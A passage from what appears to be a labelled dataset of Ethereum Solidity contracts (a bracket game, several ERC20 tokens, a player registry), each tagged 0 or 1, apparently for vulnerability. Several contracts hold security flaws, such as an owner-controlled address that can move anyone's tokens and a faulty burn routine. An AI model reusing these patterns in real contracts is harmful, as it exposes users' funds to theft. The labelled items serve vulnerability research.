uint public scoringDuration;
uint public tournamentStartTime;
uint public noContestTime;
uint public contestOverTime;
bytes8 public results;
uint8 public winningScore;
uint32 public maxSubmissions;
uint32 public numSubmissions;
string public tournamentDataIPFSHash;
function MarchMadness(
uint entryFee_,
uint tournamentStartTime_,
uint noContestTime_,
uint scoringDuration_,
uint32 maxSubmissions_,
string tournamentDataIPFSHash_,
address oracleAddress
) {
entryFee = entryFee_;
tournamentStartTime = tournamentStartTime_;
scoringDuration = scoringDuration_;
noContestTime = noContestTime_;
maxSubmissions = maxSubmissions_;
tournamentDataIPFSHash = tournamentDataIPFSHash_;
resultsOracle = FederatedOracleBytes8(oracleAddress);
}
function submitBracket(bytes32 commitment) payable {
if (msg.value != entryFee) {
throw;
}
if (now >= tournamentStartTime) {
throw;
}
if (numSubmissions >= maxSubmissions) {
throw;
}
var submission = submissions[msg.sender];
if (submission.commitment != 0) {
throw;
}
submission.commitment = commitment;
numSubmissions++;
SubmissionAccepted(msg.sender);
}
function startScoring() returns (bool) {
if (results != 0) {
return false;
}
if (now < tournamentStartTime) {
return false;
}
if (now > noContestTime) {
return false;
}
bytes8 oracleValue = resultsOracle.finalValue();
if (oracleValue == 0) {
return false;
}
results = oracleValue;
scoringMask = ByteBracket.getScoringMask(results);
contestOverTime = now + scoringDuration;
TournamentOver();
return true;
}
function revealBracket(bytes8 bracket, bytes16 salt) returns (bool) {
var submission = submissions[msg.sender];
if (sha3(msg.sender, bracket, salt) != submission.commitment) {
return false;
}
submission.bracket = bracket;
return true;
}
function scoreBracket(address account) returns (bool) {
if (results == 0) {
return false;
}
if (now >= contestOverTime) {
return false;
}
var submission = submissions[account];
if (submission.bracket == 0) {
return false;
}
if (submission.score != 0) {
return false;
}
submission.score = ByteBracket.getBracketScore(submission.bracket, results, scoringMask);
if (submission.score > winningScore) {
winningScore = submission.score;
numWinners = 0;
}
if (submission.score == winningScore) {
numWinners++;
winnings = this.balance / numWinners;
NewWinner(account, submission.score);
}
return true;
}
function collectWinnings() returns (bool) {
if (now < contestOverTime) {
return false;
}
var submission = submissions[msg.sender];
if (submission.score != winningScore) {
return false;
}
if (submission.collectedWinnings) {
return false;
}
submission.collectedWinnings = true;
if (!msg.sender.send(winnings)) {
throw;
}
return true;
}
function collectEntryFee() returns (bool) {
if (now < noContestTime) {
return false;
}
if (results != 0) {
return false;
}
var submission = submissions[msg.sender];
if (submission.commitment == 0) {
return false;
}
if (submission.collectedEntryFee) {
return false;
}
submission.collectedEntryFee = true;
if (!msg.sender.send(entryFee)) {
throw;
}
return true;
}
function getBracketScore(bytes8 bracket) constant returns (uint8) {
if (results == 0) {
throw;
}
return ByteBracket.getBracketScore(bracket, results, scoringMask);
}
function getBracket(address account) constant returns (bytes8) {
return submissions[account].bracket;
}
function getScore(address account) constant returns (uint8) {
return submissions[account].score;
}
function getCommitment(address account) constant returns (bytes32) {
return submissions[account].commitment;
}
function hasCollectedWinnings(address account) constant returns (bool) {
return submissions[account].collectedWinnings;
}
} | 0 |
pragma solidity ^0.4.13;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender] - _value;
balances[_to] = balances[_to] + _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who] - _value;
totalSupply_ = totalSupply_ - _value;
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor (string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from] - _value;
balances[_to] = balances[_to] + _value;
allowed[_from][msg.sender] = allowed[_from][msg.sender] - _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
uint allowanceBefore = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = allowed[msg.sender][_spender] + _addedValue;
assert(allowanceBefore <= allowed[msg.sender][_spender]);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue - _subtractedValue;
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender] - _value;
_burn(_from, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SoundeonTokenDistributor is Ownable {
SoundeonToken public token;
mapping(uint32 => bool) public processedTransactions;
constructor(SoundeonToken _token) public {
token = _token == address(0x0) ? new SoundeonToken() : _token;
}
function isTransactionSuccessful(uint32 id) external view returns (bool) {
return processedTransactions[id];
}
modifier validateInput(uint32[] _payment_ids, address[] _receivers, uint256[] _amounts) {
require(_receivers.length == _amounts.length);
require(_receivers.length == _payment_ids.length);
_;
}
function transferTokenOwnership() external onlyOwner {
token.transferOwnership(owner);
}
}
contract SoundeonTokenMinter is SoundeonTokenDistributor {
address public reserveFundAddress = 0x5C7F38190c1E14aDB8c421886B196e7072B6356E;
address public artistManifestoFundAddress = 0xC94BBB49E139EAbA8Dc4EA8b0ae5066f9DFEEcEf;
address public bountyPoolAddress = 0x252a30D338E9dfd30042CEfA8bbd6C3CaF040443;
address public earlyBackersPoolAddress = 0x07478916c9effbc95b7D6C8F99E52B0fcC35a091;
address public teamPoolAddress = 0x3B467C1bD8712aA1182eced58a75b755d0314a65;
address public advisorsAndAmbassadorsAddress = 0x0e16D22706aB5b1Ec374d31bb3e27d04Cc07f9D8;
constructor(SoundeonToken _token) SoundeonTokenDistributor(_token) public { }
function bulkMint(uint32[] _payment_ids, address[] _receivers, uint256[] _amounts)
external onlyOwner validateInput(_payment_ids, _receivers, _amounts) {
uint totalAmount = 0;
for (uint i = 0; i < _receivers.length; i++) {
require(_receivers[i] != address(0));
if (!processedTransactions[_payment_ids[i]]) {
processedTransactions[_payment_ids[i]] = true;
token.mint(_receivers[i], _amounts[i]);
totalAmount += _amounts[i] / 65;
}
}
require(token.mint(reserveFundAddress, totalAmount * 2));
require(token.mint(artistManifestoFundAddress, totalAmount * 6));
require(token.mint(bountyPoolAddress, totalAmount * 3));
require(token.mint(teamPoolAddress, totalAmount * 14));
require(token.mint(earlyBackersPoolAddress, totalAmount * 4));
require(token.mint(advisorsAndAmbassadorsAddress, totalAmount * 6));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_ + _amount;
balances[_to] = balances[_to] + _amount;
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_ + _amount <= cap);
require(totalSupply_ + _amount >= totalSupply_);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
modifier whenPaused() {
require(paused || msg.sender == owner);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SoundeonToken is StandardBurnableToken, CappedToken, DetailedERC20, PausableToken {
constructor() CappedToken(10**27) DetailedERC20("Soundeon Token", "Soundeon", 18) public {
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicERC20
{
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
bool public isTokenTransferable = true;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) public {
assert(isTokenTransferable);
assert(balanceOf[msg.sender] >= _value);
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
assert(isTokenTransferable || _from == address(0x0));
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
contract BasicCrowdsale is Ownable
{
using SafeMath for uint256;
BasicERC20 token;
address public ownerWallet;
uint256 public startTime;
uint256 public endTime;
uint256 public totalEtherRaised = 0;
uint256 public minDepositAmount;
uint256 public maxDepositAmount;
uint256 public softCapEther;
uint256 public hardCapEther;
mapping(address => uint256) private deposits;
constructor () public {
}
function () external payable {
buy(msg.sender);
}
function getSettings () view public returns(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _totalEtherRaised,
uint256 _minDepositAmount,
uint256 _maxDepositAmount,
uint256 _tokensLeft ) {
_startTime = startTime;
_endTime = endTime;
_rate = getRate();
_totalEtherRaised = totalEtherRaised;
_minDepositAmount = minDepositAmount;
_maxDepositAmount = maxDepositAmount;
_tokensLeft = tokensLeft();
}
function tokensLeft() view public returns (uint256)
{
return token.balanceOf(address(0x0));
}
function changeMinDepositAmount (uint256 _minDepositAmount) onlyOwner public {
minDepositAmount = _minDepositAmount;
}
function changeMaxDepositAmount (uint256 _maxDepositAmount) onlyOwner public {
maxDepositAmount = _maxDepositAmount;
}
function getRate() view public returns (uint256) {
assert(false);
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
return weiAmount.mul(getRate());
}
function checkCorrectPurchase() view internal {
require(startTime < now && now < endTime);
require(msg.value >= minDepositAmount);
require(msg.value < maxDepositAmount);
require(totalEtherRaised + msg.value < hardCapEther);
}
function isCrowdsaleFinished() view public returns(bool)
{
return totalEtherRaised >= hardCapEther || now > endTime;
}
function buy(address userAddress) public payable {
require(userAddress != address(0));
checkCorrectPurchase();
uint256 tokens = getTokenAmount(msg.value);
totalEtherRaised = totalEtherRaised.add(msg.value);
token.transferFrom(address(0x0), userAddress, tokens);
if (totalEtherRaised >= softCapEther)
{
ownerWallet.transfer(this.balance);
}
else
{
deposits[userAddress] = deposits[userAddress].add(msg.value);
}
}
function getRefundAmount(address userAddress) view public returns (uint256)
{
if (totalEtherRaised >= softCapEther) return 0;
return deposits[userAddress];
}
function refund(address userAddress) public
{
assert(totalEtherRaised < softCapEther && now > endTime);
uint256 amount = deposits[userAddress];
deposits[userAddress] = 0;
userAddress.transfer(amount);
}
}
contract CrowdsaleCompatible is BasicERC20, Ownable
{
BasicCrowdsale public crowdsale = BasicCrowdsale(0x0);
function unfreezeTokens() public
{
assert(now > crowdsale.endTime());
isTokenTransferable = true;
}
function initializeCrowdsale(address crowdsaleContractAddress, uint256 tokensAmount) onlyOwner public {
transfer((address)(0x0), tokensAmount);
allowance[(address)(0x0)][crowdsaleContractAddress] = tokensAmount;
crowdsale = BasicCrowdsale(crowdsaleContractAddress);
isTokenTransferable = false;
transferOwnership(0x0);
}
}
contract EditableToken is BasicERC20, Ownable {
using SafeMath for uint256;
function editTokenProperties(string _name, string _symbol, int256 extraSupplay) onlyOwner public {
name = _name;
symbol = _symbol;
if (extraSupplay > 0)
{
balanceOf[owner] = balanceOf[owner].add(uint256(extraSupplay));
totalSupply = totalSupply.add(uint256(extraSupplay));
emit Transfer(address(0x0), owner, uint256(extraSupplay));
}
else if (extraSupplay < 0)
{
balanceOf[owner] = balanceOf[owner].sub(uint256(extraSupplay * -1));
totalSupply = totalSupply.sub(uint256(extraSupplay * -1));
emit Transfer(owner, address(0x0), uint256(extraSupplay * -1));
}
}
}
contract ThirdPartyTransferableToken is BasicERC20{
using SafeMath for uint256;
struct confidenceInfo {
uint256 nonce;
mapping (uint256 => bool) operation;
}
mapping (address => confidenceInfo) _confidence_transfers;
function nonceOf(address src) view public returns (uint256) {
return _confidence_transfers[src].nonce;
}
function transferByThirdParty(uint256 nonce, address where, uint256 amount, uint8 v, bytes32 r, bytes32 s) public returns (bool){
assert(where != address(this));
assert(where != address(0x0));
bytes32 hash = sha256(this, nonce, where, amount);
address src = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),v,r,s);
assert(balanceOf[src] >= amount);
assert(nonce == _confidence_transfers[src].nonce+1);
assert(_confidence_transfers[src].operation[uint256(hash)]==false);
balanceOf[src] = balanceOf[src].sub(amount);
balanceOf[where] = balanceOf[where].add(amount);
_confidence_transfers[src].nonce += 1;
_confidence_transfers[src].operation[uint256(hash)] = true;
emit Transfer(src, where, amount);
return true;
}
}
contract ERC20Token is CrowdsaleCompatible, EditableToken, ThirdPartyTransferableToken {
using SafeMath for uint256;
constructor() public
{
balanceOf[0xb7722517f410914fff62df357a0c14b88efb9369] = uint256(50000000) * 10**18;
emit Transfer(address(0x0), 0xb7722517f410914fff62df357a0c14b88efb9369, balanceOf[0xb7722517f410914fff62df357a0c14b88efb9369]);
transferOwnership(0xb7722517f410914fff62df357a0c14b88efb9369);
totalSupply = 50000000 * 10**18;
name = 'VOMER';
symbol = 'VMR';
decimals = 18;
}
function () public {
assert(false);
}
} | 0 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event OwnershipTransferred(address indexed from, address indexed to);
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
string public name;
string public symbol;
uint8 public decimals;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) internal balances;
function balanceOf(address _who) public view returns(uint256) {
return balances[_who];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 && _to != 0x0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract StandardToken is BasicToken, ERC20, Ownable {
address public MembershipContractAddr = 0x0;
mapping (address => mapping (address => uint256)) internal allowances;
function changeMembershipContractAddr(address _newAddr) public onlyOwner returns(bool) {
require(_newAddr != address(0));
MembershipContractAddr = _newAddr;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
event TransferFrom(address msgSender);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(allowances[_from][msg.sender] >= _value || msg.sender == MembershipContractAddr);
require(balances[_from] >= _value && _value > 0 && _to != address(0));
emit TransferFrom(msg.sender);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if(msg.sender != MembershipContractAddr) {
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != 0x0 && _value > 0);
if(allowances[msg.sender][_spender] > 0 ) {
allowances[msg.sender][_spender] = 0;
}
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
contract BurnableToken is StandardToken {
event TokensBurned(address indexed burner, uint256 value);
function burnFrom(address _from, uint256 _tokens) public onlyOwner {
if(balances[_from] < _tokens) {
emit TokensBurned(_from,balances[_from]);
emit Transfer(_from, address(0), balances[_from]);
balances[_from] = 0;
totalSupply = totalSupply.sub(balances[_from]);
} else {
balances[_from] = balances[_from].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(_from, _tokens);
emit Transfer(_from, address(0), _tokens);
}
}
}
contract MintableToken is BurnableToken {
event TokensMinted(address indexed to, uint256 value);
function mintTokens(address _to, uint256 _tokens) public onlyOwner {
require(_to != address(0) && _tokens > 0);
balances[_to] = balances[_to].add(_tokens);
totalSupply = totalSupply.add(_tokens);
emit TokensMinted(_to, _tokens);
emit Transfer(address(this), _to, _tokens);
}
}
contract ElyChain is MintableToken {
constructor() public {
name = "ElyChain";
symbol = "ELYC";
decimals = 18;
totalSupply = 500000000e18;
balances[owner] = totalSupply;
emit Transfer(address(this), owner, totalSupply);
}
} | 1 |
pragma solidity ^0.4.24;
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
interface TeamJustInterface {
function requiredSignatures() external view returns(uint256);
function requiredDevSignatures() external view returns(uint256);
function adminCount() external view returns(uint256);
function devCount() external view returns(uint256);
function adminName(address _who) external view returns(bytes32);
function isAdmin(address _who) external view returns(bool);
function isDev(address _who) external view returns(bool);
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
TeamJustInterface constant private TeamJust = TeamJustInterface(0x82440af6ecf73dc14866faf380009f6b57942ee5);
address constant private reward = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
MSFun.Data private msData;
function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));}
function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);}
function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);}
function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));}
function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));}
function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));}
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
plyr_[1].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
plyr_[1].name = "justo";
plyr_[1].names = 1;
pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 1;
pIDxName_["justo"] = 1;
plyrNames_[1]["justo"] = true;
plyrNameList_[1][1] = "justo";
plyr_[2].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
plyr_[2].name = "mantso";
plyr_[2].names = 1;
pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 2;
pIDxName_["mantso"] = 2;
plyrNames_[2]["mantso"] = true;
plyrNameList_[2][1] = "mantso";
plyr_[3].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
plyr_[3].name = "sumpunk";
plyr_[3].names = 1;
pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 3;
pIDxName_["sumpunk"] = 3;
plyrNames_[3]["sumpunk"] = true;
plyrNameList_[3][1] = "sumpunk";
plyr_[4].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
plyr_[4].name = "inventor";
plyr_[4].names = 1;
pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 4;
pIDxName_["inventor"] = 4;
plyrNames_[4]["inventor"] = true;
plyrNameList_[4][1] = "inventor";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyDevs()
{
require(TeamJust.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
reward.send(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
